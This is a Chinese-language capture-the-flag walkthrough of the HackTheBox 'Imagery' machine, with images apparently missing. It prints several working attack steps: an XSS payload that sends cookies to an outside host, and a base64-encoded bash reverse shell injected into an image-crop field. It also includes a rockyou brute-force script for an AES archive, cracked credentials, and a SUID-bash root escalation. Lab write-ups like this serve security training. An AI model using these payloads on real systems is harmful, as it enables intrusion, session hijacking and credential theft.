HTB<Imagery>通关教程
确认ip:

测试连通性:

扫描端口及服务:

识别CMS:

访问web且启动burp:
xss测试:<img src=x οnerrοr="location.href='http://10.10.16.16/steal?cookie='+ document.cookie">

kali启动http服务监听:python3 -m http.server 80
获得管理员的cookie:GET /steal?cookie=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aQB3zA.NqEGYG82bCnpZE89wy22axcueM8

在bp里设置替换cookie:

设置完勾选上:

利用cookie欺骗,发现admin多一个downloadlog功能点,抓包看看:


发现存在文件包含漏洞,查看文件:/config.py发现db.json:


顺藤摸瓜找到用户名和密码:

利用CMD5解密为:
username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31"没解出来
"username": testuser@imagery.htb
"password": "2c65c8d7bfbca32a3ed42596192384f6"/iambatman

利用 testuser@imagery.htb/iambatman登录,上传一张图片:

发裁剪图片功能存在注入点:传入反弹shell并打开kali监听
"x":"0;`printf YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNi81NTU1IDA+JjE= | base64 -d | bash`;",

kali启动监听获取文件nc -lnvp 5555 >web_20250806_120723.zip.aes
在反弹shell中发送文件,解析文件加密格式为 pyAesCrypt 6.1(AES-256-CBC,AES Crypt v2 格式):

创建个解密爆破脚本:
#!/usr/bin/env python3
"""
使用字典攻击方式尝试解密AES加密的ZIP文件
"""import pyAesCrypt
import os
import sys# ==================== 配置区域 ====================
# 在此处修改以下参数以适应您的需求# 加密文件路径(需要解密的文件)
ENCRYPTED_FILE = "web_20250806_120723.zip.aes"# 解密后输出文件路径
DECRYPTED_FILE = "d.zip"# 密码字典文件路径(常用的rockyou.txt字典)
WORDLIST_PATH = "/usr/share/wordlists/rockyou.txt"# 加解密缓冲区大小(影响性能和内存使用)
BUFFER_SIZE = 64 * 1024 # 64KB缓冲区# ==================== 主程序 ====================def main():"""主函数:执行AES文件暴力破解"""# 打印启动信息print(f"[+] 开始对 {ENCRYPTED_FILE} 进行字典攻击")print(f"[+] 使用字典: {WORDLIST_PATH}")print(f"[+] 缓冲区大小: {BUFFER_SIZE} 字节")print("-" * 50)# 检查加密文件是否存在if not os.path.exists(ENCRYPTED_FILE):print(f"[-] 错误: 加密文件不存在: {ENCRYPTED_FILE}")sys.exit(1)try:# 打开密码字典文件with open(WORDLIST_PATH, 'r', encoding='latin-1') as f:# 初始化计数器attempts = 0# 遍历字典中的每一行(每个密码)for line in f:password = line.strip() # 去除首尾空白字符# 跳过空密码if not password:continueattempts += 1 # 增加尝试计数# 可选:每1000次尝试显示一次进度(取消注释以启用)# if attempts % 1000 == 0:# print(f"[*] 已尝试 {attempts} 个密码...")# 可选:显示当前尝试的密码(取消注释以启用,但会降低速度)# print(f"[-] 尝试密码: {password}")try:# 尝试使用当前密码解密文件# pyAesCrypt.decryptFile会在解密成功时返回None,失败时抛出异常pyAesCrypt.decryptFile(ENCRYPTED_FILE, # 输入:加密文件路径DECRYPTED_FILE, # 输出:解密后文件路径password, # 当前尝试的密码BUFFER_SIZE # 缓冲区大小)# 如果执行到这里,说明解密成功!print(f"\n[+] 成功!找到密码: {password}")print(f"[+] 总尝试次数: {attempts}")print(f"[+] 解密文件已保存为: {DECRYPTED_FILE}")# 验证解密文件是否存在且有效if os.path.exists(DECRYPTED_FILE) and os.path.getsize(DECRYPTED_FILE) > 0:print("[+] 文件验证: 成功")else:print("[-] 警告: 解密文件可能损坏")# 成功找到密码,正常退出程序sys.exit(0)except ValueError:# ValueError异常表示密码错误,这是正常情况# 忽略此异常,继续尝试下一个密码passexcept Exception as e:# 捕获其他异常(如文件损坏、权限问题等)print(f"\n[-] 严重错误: {e}")print(f"[-] 最后尝试的密码: {password}")sys.exit(1)except FileNotFoundError:# 密码字典文件不存在print(f"[-] 错误: 密码字典文件不存在: {WORDLIST_PATH}")print("[!] 请确保已安装rockyou.txt字典或修改WORDLIST_PATH配置")sys.exit(1)except KeyboardInterrupt:# 用户按Ctrl+C中断程序print(f"\n[!] 用户中断,已尝试 {attempts} 个密码")sys.exit(1)# 如果循环结束仍未找到密码print(f"\n[-] 失败: 已尝试所有 {attempts} 个密码,未找到正确密码")print("[!] 建议: 尝试使用更大的密码字典或检查文件是否使用AES加密")# 程序入口点
if __name__ == "__main__":main()运行脚本,解出Password: bestfriends 利用hashcat破解hash得到:
- 2c65c8d7bfbca32a3ed42596192384f6:iambatman
- 01c3d2e5bdaf6134cec0a367cf53e535:supersmash
ssh没成功,直接su切换到mark用户,开始提权,发现charcol:

执行charcol> auto add --schedule "* * * * *" --command "chmod +s /usr/bin/bash" --name "hack"
创建一个每分钟运行一次的定时任务chmod +s /usr/bin/bash,名字为hack
chmod +s设置SUID权限- 任何用户执行bash都会以文件所有者权限(通常是root)运行
- 普通用户可以通过
/usr/bin/bash -p获得root shell

执行后返回root的shell,查看root/root.txt,结束:

